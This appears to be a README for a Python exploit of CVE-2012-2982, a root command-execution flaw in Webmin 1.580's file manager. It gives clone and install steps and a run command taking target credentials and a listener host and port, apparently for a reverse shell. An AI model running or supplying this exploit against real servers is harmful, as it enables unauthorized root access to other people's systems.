This python script is written for vulnerability in Webmin 1.580, CVE-2012-2982. The vulnerability exists in the /file/show.cgi component and allows an authenticated user, with access to the File Manager Module, to execute arbitrary commands with root privileges.
Tested python version: Python 3.8.5
Required pip package: secrets
git clone https://github.com/OstojaOfficial/CVE-2012-2982.git
pip3 install -r requirements.txt
To run the exploit use the command bellow:
python3 exploit.py <IP> <Username> <Password> <LHOST> <LPORT>